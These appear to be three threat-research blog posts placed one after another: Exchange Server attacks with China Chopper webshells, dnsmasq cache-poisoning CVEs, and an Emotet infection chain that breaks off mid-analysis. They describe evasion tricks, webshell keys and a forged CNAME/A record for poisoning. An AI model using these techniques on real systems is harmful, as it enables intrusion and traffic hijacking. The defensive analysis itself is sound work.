Analyzing Attacks Against Microsoft Exchange Server With China Chopper Webshells

Executive Summary

Microsoft recently released patches for a number of zero-day Microsoft Exchange Server vulnerabilities that are actively being exploited in the wild by HAFNIUM, a suspected state-sponsored group operating out of China. We provide an overview of the China Chopper webshell, a backdoor which has been observed being dropped in these attacks. We also analyze incidental artifacts, such as metadata, created by the attacks themselves, which allow us to collect information and better understand the nature and methodology of the attackers.

For information on how Palo Alto Networks protects its customers from these threats, please refer to our Threat Assessment: Active Exploitation of Four Zero-Day Vulnerabilities in Microsoft Exchange Server.

The Role of the China Chopper Webshell

By leveraging CVE-2021-27065, a post-authentication arbitrary file write vulnerability, an attacker is able to effectively inject code into an ASPX page for Exchange Offline Address Book (OAB). When this page is compiled with the injected webshell, the attacker can send other code and gain further access. The China Chopper webshell is a lightweight, one-line script that is observed being dropped in these attacks by the use of the PowerShell Set-OabVirtualDirectory cmdlet. This one-line webshell is relatively simple from the server perspective and has been observed in attacks since at least 2013, when FireEye reported on it.

The key detail here is that the China Chopper webshell is injected into a pre-existing OAB ASPX page that contains configuration information unrelated to the webshell. It’s been reported that there are thousands of compromises, and any on-premises Exchange Server that is exposed to the internet should assume it’s been scanned numerous times. Knowing this, and knowing that thousands of companies this week have begun the laborious chore of responding to these attacks within their infrastructure, it didn’t take long before these OAB files started popping up on VirusTotal (VT).

To identify the specific OAB configuration files we’re interested in, I created a small YARA rule to identify some of the observed templates for the China Chopper webshell as they exist within OAB configurations.

For reference, this is how the China Chopper webshell typically manifests itself within the OAB configurations – specifically in the ExternalUrl field.

ExternalURL

Additional variants will be discussed throughout the document, but this is the most prevalent.

As of March 4, 2021, there are 81 unique matching samples uploaded to VT.

As FireEye documented in their 2013 analysis of this webshell, China Chopper is technically split into two parts: a client and a server. When the client engages with the server, in most variants, it provides a “key” to act as authentication before executing whatever code the attacker supplies.

In the above China Chopper example, the key is " NO9BxmCXw0JE ". This provides us with a relatively unique identifier to compare to the other files. But why stop there?

OAB Artifacts

The OAB configuration contains a wealth of information such as when the file was created, when it was last modified, the Exchange version and numerous other server-specific related data points. These allow us to take a deeper look at the attacks from a new perspective and gain a better understanding of the attack campaigns involved.

On March 2, 2021, Volexity published their blog, “Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities,” which provided the first in-depth look at the attacks on Exchange Servers. However, we know that on Jan. 5, 2021, Twitter user @orange_8361 (Orange Tsai) tweeted that they had reported a pre-authenticated remote code execution (RCE) chain to a vendor. Microsoft credited this user in the slew of CVEs released to address the vulnerabilities. These two dates give us a frame of reference for analysis, as they mark the time from when Microsoft was notified to the first public disclosure of the attacks observed in the wild.

Looking at the keys used overall in the China Chopper webshells, the list below provides a count of each unique value. Of note is a C# variant of this webshell that does not have a similar key, two variants that do not include a webshell at all but include a possible key and one that is a Base64 encoded string of non-ASCII bytes.

As noted, two “keys” did not contain a webshell at all, “ f34fji34r209ur29ur92ru ” and “ dsfg ”. Instead, we observed an injection of a value, which appears similar in nature to a key, but is missing the actual webshell code required to carry out further code execution. An example can be seen below and compared to the webshell above.

ExternalURL2

When looking at some of the temporal data points, specifically the DateModified time of the OAB files, you will see that the usage of these “keys” predates all the other key usage by almost a full day. Since there is no webshell, these may have been test runs. In fact, they show overlap with other keys that later compromise the same server with full webshells.

DateModified WebShellKey OriginatingServer
2/27/2021 13:45:30 f34fji34r209ur29ur92ru NS1[...]net
2/27/2021 16:20:49 f34fji34r209ur29ur92ru DC1[...]LOC
2/27/2021 19:11:07 f34fji34r209ur29ur92ru FIT[...]cal
2/28/2021 0:04:23 f34fji34r209ur29ur92ru V-T[...]com
2/28/2021 1:41:07 f34fji34r209ur29ur92ru DC-[...]net
2/28/2021 3:51:56 f34fji34r209ur29ur92ru MBD[...]org
2/28/2021 10:15:00 NO9BxmCXw0JE DC[...]net
2/28/2021 10:33:14 NO9BxmCXw0JE FIT[...]cal
2/28/2021 10:36:44 orange JTA[...]cal

The NO9* key from above is the most prevalent thus far, judging by what’s currently available on VT. It has also been displayed in most of the research that has come out on this topic. This key shares a pattern with five other keys in the list. These are considered related due to their timing and unique usage of an exactly 12-character randomized alphanumeric string with mixed capitalization.

Within this grouping, only the NO9* and EiH* keys were observed in the OAB files with dates prior to the March 2 Volexity blog. It is also interesting to observe the clustering of dates and times when these unique OAB files documented their modification times, as highlighted in the table below.

DateModified WebShellKey OriginatingServer
2/28/2021 10:15:00 NO9BxmCXw0JE DC-[...]net
2/28/2021 10:33:14 NO9BxmCXw0JE FIT[...]cal
2/28/2021 10:44:24 NO9BxmCXw0JE NS1[...]net
2/28/2021 11:01:52 NO9BxmCXw0JE DC2[...]LOC
2/28/2021 11:03:12 EiH4yV2WGYgc DFC[...]com
2/28/2021 12:44:40 NO9BxmCXw0JE WP-[...]cal
2/28/2021 16:46:21 NO9BxmCXw0JE tcs[...]cal
3/1/2021 6:29:17 NO9BxmCXw0JE mar[...]cal
3/1/2021 7:40:44 NO9BxmCXw0JE cow[...]cal
3/1/2021 12:01:14 NO9BxmCXw0JE MM1[...]pvt
3/1/2021 12:16:38 NO9BxmCXw0JE NCR[...]cal
3/1/2021 13:46:04 NO9BxmCXw0JE a-p[...]com
3/1/2021 3:39:49 PM NO9BxmCXw0JE grr[...]cal
3/1/2021 16:25:57 NO9BxmCXw0JE DC2[...]LOC
3/1/2021 16:42:10 NO9BxmCXw0JE VCC[...]org
3/1/2021 19:28:28 NO9BxmCXw0JE NS1[...]net
3/1/2021 21:32:42 NO9BxmCXw0JE DC0[...]cal
3/1/2021 21:53:34 NO9BxmCXw0JE thi[...]cal

On Feb. 28, 2021, and March 1, 2021, there are two distinct clusters of events – before public news about the vulnerabilities is released. Looking at the UTC timing of the events shows some compromises happening just minutes apart using both the NO9* and EiH* keys, further corroborating their relation to each other. The timing is also noteworthy because it shows very rapid deployment of these webshells throughout the day and night, indicating an automated approach to targeting. As more samples appear, a better picture of the timeline will emerge.

Continuing to dig down into the data points for the six keys, we can extrapolate the targets based on their OriginatingServer values and deduce a wide range of businesses from investment banking, small car dealerships, water conservatories, industrial automation, law firms, hospitality and so on. The apparent randomness of targeted industries supports the idea that this is automated scanning that took advantage of opportunistic targets versus a coordinated effort to target specific industries or businesses.

One last piece of evidence in support of the idea of automated scanning: There are multiple OAB files with the same configurations but different modification times, thus creating unique hashes. Looking at two servers from the OriginatingServer data points, it can be noted below how they are compromised again at a later date with the exact same webshell and key, implying that systems the attackers have compromised already are not checked during their scanning and exploitation process.

DateModified WebShellKey OriginatingServer
3/1/2021 21:32:42 NO9BxmCXw0JE DC0[...]cal
3/2/2021 16:57:12 NO9BxmCXw0JE DC0[...]cal
2/28/2021 11:01:52 NO9BxmCXw0JE DC2[...]LOC
3/1/2021 16:25:57 NO9BxmCXw0JE DC2[...]LOC

Pivoting to the keys, which did not match the previously discussed pattern, we can see they start compromising the same servers as the other group of keys – but only after all of the research, CVEs, and proofs-of-concept (PoCs) started to pop up, leading us to believe these are different clusters of actors behind the attacks.

DateModified WebShellKey OriginatingServer
3/1/2021 6:29:17 NO9BxmCXw0JE mar[...]cal
3/2/2021 7:03:15 NO9BxmCXw0JE mar[...]cal
3/3/2021 15:19:46 Ananas mar[...]cal
2/28/2021 10:44:24 NO9BxmCXw0JE NS1[...]net
3/1/2021 19:28:28 NO9BxmCXw0JE NS1[...]net
3/3/2021 6:46:16 Q4IDLjknOZJr NS1[...]net
3/3/2021 6:52:08 klk123456 NS1[...]net

Before moving on to the next section, let’s turn our attention to three curious keys that were observed prior to the Volexity publication that do not match the pattern observed for the NO9* key but have very similar timing. This, along with other data points, seems to indicate these were used as testing or non-automated manual attacks.

The first is the key “orange”. The first compromise observed with it in these publicly available OAB files is minutes before and after two surrounding compromises by the NO9* key on Feb. 28. This key also falls into the cluster of events on March 1, two hours before the previously discussed attacks.

28FEB2021

DateModified WebShellKey OriginatingServer
2/28/2021 10:33:14 NO9BxmCXw0JE FIT[...]cal
2/28/2021 10:36:44 orange JTA[...]cal
2/28/2021 10:44:24 NO9BxmCXw0JE NS1[...]net

01MAR2021

DateModified WebShellKey OriginatingServer
3/1/2021 4:25:25 orange Exc[...]CAL
3/1/2021 6:29:17 NO9BxmCXw0JE mar[...]cal
3/1/2021 7:40:44 NO9BxmCXw0JE cow[...]cal

The second and third keys are simply “o” and “p”. Besides standing out due to their shortness, they also use a different structure in their webshell and appear to have targeted a medical facility and something related to the Vietnamese government, both prior to any publication about the vulnerabilities.

The Microsoft blog on HAFNIUM displays a webshell dropped by HAFNIUM that also uses a parameter value of “p”, although it is a different structure. A screenshot of the webshell displayed there is transcribed below, along with an example of the one observed in an OAB file.

Notable similarities exist in the Request.Form parameter value, “p”, and the usage of a single-letter character for the other values; however, this in and of itself does not necessarily confirm a HAFNIUM connection.

Looking at the “o” and “p” keys found in the OAB files, they can be seen targeting the same systems days apart.

DateModified WebShellKey OriginatingServer
2/28/2021 11:57:01 o ad2[...].vn
3/3/2021 7:58:20 p ad2[...].vn

Furthermore, we can observe compromises by the cluster of six patterned keys and “o” key happening fairly close in time to one another, alluding to a possible connection between them.

DateModified WebShellKey OriginatingServer
2/28/2021 11:03:12 AM EiH4yV2WGYgc DFC[...]com
2/28/2021 11:57:01 AM o ad2[...].vn
2/28/2021 12:44:40 PM NO9BxmCXw0JE WP-[...]cal

Two more keys stand out in terms of volume. Like the other keys that have been discussed, both “klk123456” and “Ananas” were observed in overlapping compromises, indicating automated scanning or using some type of list that has already been correlated from a scanning service.

DateModified WebShellKey OriginatingServer
3/3/2021 4:34:20 klk123456 Bed[...]com
3/3/2021 6:52:08 klk123456 NS1[...]net
3/3/2021 6:55:34 klk123456 Fil[...]cal
3/3/2021 7:26:29 klk123456 mna[...]com
3/3/2021 7:35:48 Ananas ric[...]org
3/3/2021 7:45:40 Ananas ADA[...]cal
3/3/2021 7:47:15 klk123456 PSL[...]cal
3/3/2021 10:43:51 klk123456 CHG[...]SYS
3/3/2021 11:02:09 klk123456 TRD[...]com
3/3/2021 14:35:40 Ananas jus[...].nl
3/3/2021 14:50:18 Ananas asi[...]com
3/3/2021 14:51:13 Ananas Bed[...]com
3/3/2021 15:19:46 Ananas mar[...]cal
3/3/2021 16:16:21 Ananas V-T[...]com
3/3/2021 16:40:03 Ananas FHM[...]org

These clusters of events are likely related to threat actors who were able to weaponize the public information extremely quickly and get a head start on attacking Exchange Servers before other actors could.

All the compromises with the other keys appear unrelated and occur after the patches, research and PoC code had become easily accessible.

Variations in the China Chopper Webshell

Recall the most prevalent China Chopper shell as observed in the OAB file.

ExternalURL 5

A Twitter user, @mickeyftnt, notified me that they found a variant using a different pattern from the “http://f/” that I had been watching stream into VT. This variant used “http://g/” and contained a space after the eval method call. Microsoft states the ExternalUrl parameter “specifies the URL that’s used to connect to the virtual directory from outside the firewall,” so we can assume that, in a legitimate file, this is a resolvable domain but may require the “http” precursor to be accepted as a value for the injection to work. While this piece of the URL is moot and does not affect the operation, the use of “http://f/” is observed across the board in almost every one of the attacks. As such, the “http://g/” variable piqued my interest as another likely artifact worth taking note of, even though no additional patterns have been noticed outside what’s been discussed here already.

ExternalURL 6

Another Twitter user, @krausedw, brought some samples to my attention that included breaking up the “unsafe” word in an attempt to bypass certain security measures and a C# sample that calls out the script language explicitly.

JScript unsafe

ExternalURL 7

C#

Ext

Finally, there are variants that use Base64 strings as the key.

Base64

E

Conclusion

By leveraging the artifacts found within the OAB configurations, we are able to piece together a narrative around the activity based on analysis from just a small set of samples. It seems clear that there are numerous clusters of groups leveraging these vulnerabilities, the groups are using mass scanning or services that allow them to independently target the same systems, and finally there are multiple variations of the code being dropped, which may be indicative of iterations to the attack. As more information and files become available, this analysis may have to be revisited, but for now, there are a sufficient number of connections that allow us to understand the how, the when and the frequency of attacks, along with clustering of events.

Additional Resources

Overview of dnsmasq Vulnerabilities: The Dangers of DNS Cache Poisoning

Executive Summary

DNS masquerade (dnsmasq) is a widely used open source DNS resolver. While one might not be familiar with dnsmasq by name, it is used by many projects and hardware firmwares around the world, from Kubernetes to routers and other products.

Over the years, multiple critical vulnerabilities have been found in dnsmasq. Recently, security researchers discovered new issues that continue to make dnsmasq vulnerable. These vulnerabilities can lead to DNS cache poisoning, denial of service (DoS) and possibly remote code execution (RCE). In this blog, I will review these vulnerabilities in dnsmasq, with a deep dive on DNS cache poisoning. I will also cover the effect such issues have on cloud products such as Kubernetes.

Palo Alto Networks customers are protected from the attacks outlined in this blog with Next-Generation Firewall with DNS Security, and Prisma Cloud.

Background on DNS Vulnerabilities

As covered in detail in my previous blog, “The History of DNS Vulnerabilities,” port and transaction ID randomization is one of the key methods a modern DNS resolver uses to protect against cache poisoning.

Cache poisoning is an attack in which one poisons the DNS resolver’s cache by sending malicious responses. The attack happens after a DNS resolver sends a request to an upstream server. At this point, the attacker sends fake responses that appear to come from the server the victim organization contacted. The DNS resolver receives the malicious responses and caches them. From then on, when a victim organization asks the DNS resolver for this domain, it will answer with the IP address of an attacker controlled server. This results in redirections that can be very hard to detect. For example, a user might browse to a bank’s website, having typed the URL correctly – but instead of returning the IP address of the bank, a cache poisoning attack could cause the DNS resolver to send the user to an attacker’s IP address instead. Because of the serious implications of this possibility, DNS vulnerabilities are often critical.

One of the mitigations against this attack is to randomize the transaction ID and source port of the request from the resolver to the upstream server. By randomizing those two values, each is 16 bits long, and each request has a 32 bit key that an attacker has to match in order to make malicious responses get accepted by the DNS resolver.

Figure 1. Recap of a DNS cache poisoning attack.
Figure 1. Recap of a DNS cache poisoning attack.

CVEs

Two types of vulnerabilities were recently discovered in dnsmasq:

A bug in the implementation of the DNS protocol, such as validation issues, that can be leveraged for DNS cache poisoning attacks:

And buffer overflow bugs that can lead to DoS attacks:

So far, the implications of the buffer overflow vulnerabilities seem limited to DOS attacks.

The first group of vulnerabilities, however, can be exploited to perform devastating cache poisoning attacks, and I will be focusing on them in this blog.

There are a few key design implementations special to dnsmasq, and knowing how they work helps provide a good understanding of the recent vulnerabilities.

CVE-2020-25684: Transaction ID and Port Randomization Done Incorrectly

dnsmasq implements transaction ID and port randomization. By default, it supports up to 64 ports at the same time. This means that dnsmasq can hold open sockets of 64 ports simultaneously and wait for responses on each of those port sockets. An attacker has to guess the source port (any of the 64 that are open) correctly. Otherwise, malicious packets will simply be dropped on the dnsmasq server.

That sounds like a good mitigation, but the problem lies in the fact that dnsmasq didn’t match transaction ID to source port. Instead of having to guess the exact transaction ID and the exact source port, an attacker needs to guess just the transaction ID and any of the 64 ports. This weakens the port randomization mitigation by 64 times.

What this means is that because dnsmasq doesn’t match a transaction ID to a specific port, it increases the chances of hitting an open request by 64 times – an attacker can succeed by hitting any of the 64 open ports.

How Does dnsmasq Match Responses to Requests?

A frec, or a forward record, is a record that is received at dnsmasq but isn’t in the cache, so dnsmasq has to forward the request to an upstream server. As long as the request isn’t fulfilled, meaning the dnsmasq hasn’t received a response yet for the associated request, it is called a frec. An attacker that wants to poison dnsmasq needs to send it a fake response for a frec. frecs are removed once fulfilled or a certain amount of time has passed (timed out).

But how does dnsmasq match each response to the correct frec? dnsmasq saves only the hash of the question section in the DNS query and discards the rest. Each DNS query has a “questions” section. It is where the query holds the actual question, for example: where is www.example.com.

It can do that because each DNS response also contains the question it is answering, so both the request and the response have this section. This section is completely identical on both sides, which makes it great to use as a key. dnsmasq hashes the question before it sends the request and then hashes the question in the received response and matches it to a question it asked, meaning a frec.

This is a simplified version of dnsmasq’s algorithm for matching a frec when it is received from the upstream server:

1.0 check if response’s destination port matches any of the open ports

1.1 if not: drop the response

2.0 set key = (hash of the response’s question, transaction ID)

3.0 search for matching frec by key

3.1 if not found: drop the response

4.0 process the response

By default, dnsmasq supports up to 150 frecs at the same time. This means that it is possible that in a given time there will be 150 open frecs. Each of those frecs uses one of the 64 randomized ports that we covered earlier.

There are two ways to abuse this behavior, which both result in the same outcome and I will cover them both in the next section.

CVE-2020-25685: Weak Hashing Algorithm

dnsmasq uses a custom CRC32 function as its hashing function for the key. Unfortunately, CRC32 is not a cryptographically secure hash function. In other words, it is possible for different inputs to have the same output. In this case, different question sections can result in the same output. An attacker can abuse that to craft a special list of domains that all result in the same Custom-CRC32 hash and then send 150 queries to dnsmasq using that list.

CVE-2020-25686: Pending Queries Are Not Checked

dnsmasq allows multiple queries for the same domain. It means that an attacker can just query www.example.com 150 times before dnsmasq is able to receive results for any of the requests, and there will be a timeframe in which there are 150 open frecs for those 150 queries.

Note that if an attacker issues an attack from a web browser, most modern web browsers will block further requests to the same domain and this method will not work. In such a case, the attacker would have to use the previous method, which is a bit more complicated.

Outcome

Both of those problems can result in the same thing. An attacker who wants to send fake responses can choose to do that in a time frame in which dnsmasq holds 150 frecs, with the exact same hashed question key, with 150 different transaction IDs and with 64 different ports.

An attacker needs to time this correctly and send fake responses in that tiny time frame when all open 150 frecs are of the same domain. The attacker’s fake responses will also be for that domain. In such a case, the attacker's chances of hitting any of the open frecs are 150 times greater than in a regular attack.

No Response Verification

When dnsmasq receives a response from an upstream DNS server, it does not verify it. In order to understand the problem here, one needs to be familiar with CNAME records.

A Canonical Name or CNAME record is a type of DNS record that maps an alias name to a true or canonical domain name. CNAME records are typically used to map a subdomain such as www or mail to the address hosting that subdomain’s content. For example, a CNAME record can map the domain mail.example.com to the mail server of the domain example.com.

In dnsmasq, however, one can send any A record after the CNAME record and dnsmasq will simply trust the response without verifying it. No one asked about those A records, so dnsmasq will not forward those records to the client. Instead, it simply caches all the A records that it is given. Not only that, dnsmasq will also overwrite any already cached addresses. For example:

www.example[.]com  CNAME  www.bank[.]com

www.bank[.]com     A      13.37.13[.]37

In the above example, if dnsmasq received such a response for an open request for www.example[.]com and the attacker got the correct transaction ID and source port, dnsmasq will overwrite the cached address of www.bank[.]com regardless of the TTL (Time to Live) of previously cached addresses. From now on, any organization that tries to access their bank’s website will end up accessing an attacker-controlled website.

This sounds crazy, but it isn’t. If dnsmasq had to verify every line after the CNAME, that would reduce its performance dramatically. It would have to contact each domain in the CNAME response and make sure the A record given is indeed its address, which will make the entire idea of CNAME redundant.

So instead, dnsmasq trusts the source of the response, on the assumption that it is nearly impossible to beat the transaction ID and source port randomization mitigation.

Attack Scenario Explained

Theory

In order to craft a successful DNS cache poisoning attack, one must correctly guess the transaction ID and source port. Usually this means guessing a 32-bit key – 16 bits for the port and 16 bits for the transaction ID.

In our case, as I demonstrated so far, CVE-2020-25684 helps the attacker by increasing the chances of hitting the correct port by 64 times, so the port part of the key is reduced to 16-log264=10 bits long. Combined with the transaction ID key, our key is still 26 bits long. The chances of hitting a successful frec so far are 1 to 226 = 67,108,864 with a single response.

With either CVE-2020-25685 or CVE-2020-25686, we concluded that using 150 requests with the same question’s hash, either with the same domain or with a special list, increases the chances of hitting the correct frec by 150 times. Combining that with CVE-2020-25684 increases the chances of hitting a successful frec by 64 * 150 = 9,600 times. The chances of hitting a successful frec so far is 1 to 232/9600 = 447,392 times.

Another thing is that usually an attacker would have to wait for a DNS entry Time to Live value to be expired (to be removed from cache) in order to poison it – otherwise the DNS resolver would simply give the results from cache right away and no poisoning will take place. In our case, however, an attacker can abuse the CNAME record in order to poison any entry desired.

Attack Scenario

An attacker wants to poison www.bank[.]com. Usually, this would require waiting for www.bank[.]com to be out of cache, guessing the port correctly and guessing the transaction ID correctly. Only then would the attacker have a chance of actually succeeding.

If the DNS resolver is dnsmasq, the attacker can skip the first part and just query any domain that would not be in the cache. Instead of responding with a regular A record response, the attacker would respond with a CNAME, as described earlier.

The attacker still needs to guess the port and the transaction ID, which is a 32 bit long key.

Figure 2. Cache poisoning attack on dnsmasq.
Figure 2. Cache poisoning attack on dnsmasq.

Using the above vulnerabilities, an attacker can issue 150 requests, either for the same domain or with a list of domains with the same custom-CRC32 hashes. This way, they will have 150 possible transaction IDs to guess and need to hit only one of them. As calculated above, using this method, the attacker will have a 9,600 times greater chance of succeeding with each response.

If the attacker manages to hit with one of the fake responses, dnsmasq will receive the CNAME response and will cache all the A records in it.

Chances for a Successful Attack

In my last blog about DNS, I dived into the probability calculation needed to understand what is the likelihood of succeeding in a DNS cache poisoning attack with different amounts of mitigations. The calculations are the same as last time, but with a key size of 232 / 9600 = 447,392.

An attacker needs to hit any of the 150 transaction IDs and any of the 64 open ports to succeed in the attack.

I managed to create a reliable proof of concept (PoC) in a simulated network, which could poison a dnsmasq resolver from inside an internal network in less than five minutes in the worst case, and under 10 seconds on average for a successful attack.

Kubernetes and OpenShift

dnsmasq is part of kube-dns which is the DNS service of Kubernetes. The kube-dns service is made up of three containers running in a kube-dns pod in the kube-system namespace.

The three containers are:

  • kube-dns: A container that runs SkyDNS, which performs DNS query resolution.
  • dnsmasq: Caches responses from SkyDNS.
  • sidecar: A sidecar container that handles metrics reporting and responds to health checks for the service.

In the past, Kubernetes and OpenShift used kube-dns for DNS services.

As of Kubernetes v1.12, CoreDNS is the recommended DNS Server, replacing kube-dns. If your cluster originally used kube-dns, you may still have kube-dns deployed rather than CoreDNS. kube-dns uses dnsmasq, which is potentially dangerous as discussed in this article. However, CoreDNS doesn’t use dnsmasq, so newer versions of Kubernetes are not affected.

Applications

A Kubernetes or OpenShift cluster that uses dnsmasq will be vulnerable to the attacks described above. It is enough for a single deployment to be breached in order to poison the entire cluster. Another possible situation involves a dnsmasq machine that was misconfigured and is open to the internet, instead of just the internal network. That scenario is even worse, as DNS resolvers open to the internet are easy to find by bots scanning public IPs.

Conclusion

These vulnerabilities show once again why DNS cache poisoning is relevant to this day, despite all the mitigations that have been added over the years.

Having said that, with secure browsing and certificates usage nowadays, even if an attacker manages to poison a DNS server for a domain, it is most likely that the victim organization’s browser won’t load the page because the certificates won’t match. But the technique can still be used for enormous DoS attacks by poisoning an ISP’s DNS resolver and forwarding requests to a nonexistent IP address.

In the cloud, however, the problem is much bigger. As discussed earlier, Kuberenetes used to use dnsmasq as its default DNS resolver until not so long ago. Even today, users can still choose to use dnsmasq instead of CoreDNS. In such a scenario, an attacker who manages to poison a cluster’s DNS resolver can cause an enormous amount of damage because, unlike browsers, cloud applications usually don’t do certificates verification.

An attacker who breaches a single container can easily use this attack to spread further into the entire cluster, even without a container escape vulnerability.

Palo Alto Networks customers are protected from the attacks outlined in this blog in a variety of ways. Palo Alto Networks Next-Generation Firewalls can block DNS attacks by detecting suspicious DNS queries and anomalous DNS responses. Attacks related to exhaustion or high quantities of traffic are handled with DoS or zone protection profiles that are built into the firewall. These protections are in addition to coverage of DNS threats and indicators through DNS Security.

Furthermore, Prisma Cloud customers are protected from this threat through the Prisma Cloud Compute Host and Container Vulnerability Scanner, which alerts on vulnerable software components. The attack described in this blog requires one of the following, in addition to an old and vulnerable dnsmasq deployment:

  • A breach in the internal network of the cluster to be able to send malicious packets to the DNS server from the inside.
  • A misconfigured DNS resolver that is open to the internet.

Such scenarios almost always happen by attackers exploiting outdated and misconfigured applications, which are monitored by the Prisma Cloud Compute Compliance Protection.

Attack Chain Overview: Emotet in December 2020 and January 2021

Executive Summary

Unit 42 researchers have identified and analyzed a new update of Emotet, the notorious banking Trojan, that has been active in the wild since December 2020. Emotet has long been a thorn in the side of defenders with a reputation for its tenacity, longevity and resilient evasion techniques.

Recent actions by international law enforcement have disrupted the Emotet threat actors and their infrastructure. However, the tactics, techniques and procedures (TTPs) employed in this Emotet update present an opportunity to expose the inner workings of an active, prominent threat against all industries.

In this blog, we will detail the end-to-end attack chain of this Emotet update, including its first-stage malicious document lure, the deobfuscation of its payload into a second-stage PowerShell loader and the downloading of the third-stage binary R43H.dll.

We will also detail the persistence mechanisms used by this Emotet update, as well as the command and control (C2) channel and its indicators of compromise (IOCs). Lastly, we will demonstrate the difficulties that security solutions face against Emotet’s evasion techniques.

Palo Alto Networks Next-Generation Firewall customers are protected from Emotet with Threat Prevention and WildFire security subscriptions. Customers are also protected with Cortex XDR.

Attack Chain Analysis

Emotet is commonly distributed with a Word document attached in phishing emails. Below are the steps in an Emotet attack chain:

  1. Word doc distributed and opened with macros enabled.
  2. VBScript macro(s) runs to generate the malicious PowerShell script.
  3. The malicious PowerShell script downloads the initial DLL binary as a loader.
  4. The initial loader drops a follow-up DLL binary that updates itself.
  5. The final DLL steals victims’ sensitive data or conducts further attacks by communicating with C2 servers.

Emotet attack chain analysis details

First-Stage Malware – Word Macro Launcher

(Sha256: 2cb81a1a59df4a4fd222fbcb946db3d653185c2e79cf4d3365b430b1988d485f)

The analyzed sample is a Microsoft Office OLE2 Compound File Binary Word file. As with many spear-phishing attacks, this one also social-engineers the user to enable macro support to start the delivery of malicious Visual Basic for Applications (VBA) code.

Figure 1. This malicious Word document contains an embedded macro that initiates an Emotet attack chain.
Figure 1. This malicious Word document contains an embedded macro that initiates an Emotet attack chain.

The embedded VBA macro code is executed when the user opens the lure document in Microsoft Word with macros enabled, spawning a Document_Open() event.

Figure 2. The embedded VBA macro code is obfuscated to impede analysis efforts.
Figure 2. The embedded VBA macro code is obfuscated to impede analysis efforts.

The next call is to a function named Jotxu6biv0471oy0(). The behavior of this function and further execution of the first-stage malware is described below:

1. Retrieve a single StoryRange of the wdMainTextStory type from the document’s StoryRanges.Item() method and store it in the variable mKbjhqs. The content of that variable is the obfuscated payload data that will be deobfuscated later in the attack chain. A StoryRange in the VBA world is used to find or replace text inside a document.

Figure 3. The obfuscated payload is extracted from the malicious document and stored.
Figure 3. The obfuscated payload is extracted from the malicious document and stored.

2. Collect obfuscated data through a series of GoTo calls, which stores data across several variables. The data is then concatenated and assigned to variable C_tmpi32le9.

Figure 4. The obfuscated payload is extracted from the malicious document and stored.
Figure 4. The obfuscated payload is extracted from the malicious document and stored.

3. The string stored in C_tmpi32le9 is deobfuscated and substituted in a series of function calls displayed in Figure 4.

Figure 5. Replace function and data before and after obfuscation.
Figure 5. Replace function and data before and after obfuscation.

The text payload stored in C_tmpi32le9 is deobfuscated with a call to function Lehj73snaqzhyepdw9(). This function works as a wrapper for function Jumkzxvtzz2s(), which implements a simple string substitution routine. The function also calls the built-in function Replace(), which is passed the string ]b2[s as the delimiter to search and replace in the payload string. The resulting payload is the WMI moniker winmgmts:win32_process, which is stored in variable H4qcty67722xqmrmn.

4. Generate a new object by making a call to the CreateObject() function and passing as parameter the winmgmts:win32_process string. The resulting object value is stored in the Fcqv6woostm0 variable, which is an object of the Win32_Process WMI Class. This variable is a handle to an object capable of spawning new processes.

Figure 6. Call to CreateObject(“winmgmts:win32_process”) constructor.
Figure 6. Call to CreateObject(“winmgmts:win32_process”) constructor.

5. Perform a length correction routine and store the resulting data in variable Ma9hdg7q365lpb. A call to function Lehj73snaqzhyepdw9() is made with Ma9hdg7q365lpb as a parameter.

Figure 7. Deobfuscated final payload.
Figure 7. Deobfuscated final payload.

6. A call to method Win32_Process.Create() is made by referencing the previously instantiated object and passing as first parameter the returning value of the previously executed Lehj73snaqzhyepdw9() function. The returning value contains the deobfuscated final payload (operating system and PowerShell commands).

Figure 8. Create() function call with parameters.
Figure 8. Create() function call with parameters.

The first stage of this Emotet attack chain ends with the execution of the deobfuscated payload originally embedded in the malicious document. The payload contains a series of calls to cmd.exe nested around an obfuscated call to PowerShell with base64 data passed as an argument.

Figure 9. Deobfuscated OS and PowerShell commands.
Figure 9. Deobfuscated OS and PowerShell commands.

Second-Stage Malware – PowerShell Downloader

The second stage of the attack chain begins with nested cmd.exe calls, the first of which invokes msg.exe. This displays a message window to the victim containing a decoy Word error, “Word experienced an error trying to open the file.”

Next, PowerShell is invoked with base64 encoded data as a parameter, and cmd.exe takes the string P^Ow^er^she^L^L as an argument. This argument is crafted using the caret escape character (^) to avoid static detection. The -w option sets the PowerShell.exe process to start in the background. The -ENCOD option tells PowerShell to decode the base64 argument on the fly.

Figure 10. Execution of msg.exe and powershell.exe.
Figure 10. Execution of msg.exe and powershell.exe.

PowerShell - Base64 Analysis

Figure 11. Decoded base64 PowerShell data.
Figure 11. Decoded base64 PowerShell data.

The purpose of this obfuscated code is as follows:

1. Set the security protocol used by the ServicePoint Manager to TLS 1.2.

2. Set the absolute path of a randomly generated file.

3. Generate an array of a total of seven Uniform Resource Identifiers (URIs).

Figure 12. Deobfuscated URIs list.
Figure 12. Deobfuscated URIs list.

4. Instantiate a new object of the WebClient .NET Class, which leverages the DownloadFile() method to retrieve files from each item (URI) contained in the array generated in the previous step. The downloaded file will be saved into a fixed absolute path and filename %USERPROFILE%\Ygyhlqt\Bx5jfmo\R43H.dll.

It’s worth mentioning that the folder names used at this step are matched with the ones generated during macro execution in the first stage of the attack chain.

5. Perform a length check to equal 37652 bytes. This specific check is presumably made to ensure the binary content was transferred successfully.

6. Execute the downloaded DLL file by executing the rundll32.exe command and providing the Control_RunDLL as an entrypoint function. The following picture shows the deobfuscated version of the entire command.

Figure 13. Execution of rundll32.exe in PowerShell.
Figure 13. Execution of rundll32.exe in PowerShell.

As described above, the PowerShell script performs several HTTP requests to different URIs. The response from the server shows that a DLL file has been downloaded. The name of the file is set to NK05DJ2yiA.dll.

Figure 14. HTTP download request - First DLL (NK05DJ2yiA.dll).
Figure 14. HTTP download request - First DLL (NK05DJ2yiA.dll).

Third-Stage Malware – DLL Analysis

(Sha256: bbb9c1b98ec307a5e84095cf491f7475964a698c90b48a9d43490a05b6ba0a79)

KEY: "k1>@dY0V<o)afFNz7v68r^Kn6)h)OGcSc"

Figure 15 shows the process tree having a parent process powershell.exe and the consecutive runs of rundll32.exe.

Figure 15. PowerShell.exe and rundll32.exe processes execution.
Figure 15. PowerShell.exe and rundll32.exe processes execution.

The first process is given the absolute path to R43H.dll as an argument, and the second process is given a path to a file with a random path and filename. However, both processes begin with the same entrypoint function called Control_RunDLL. The following describes the inner workings of this DLL and its participation in the infection chain.

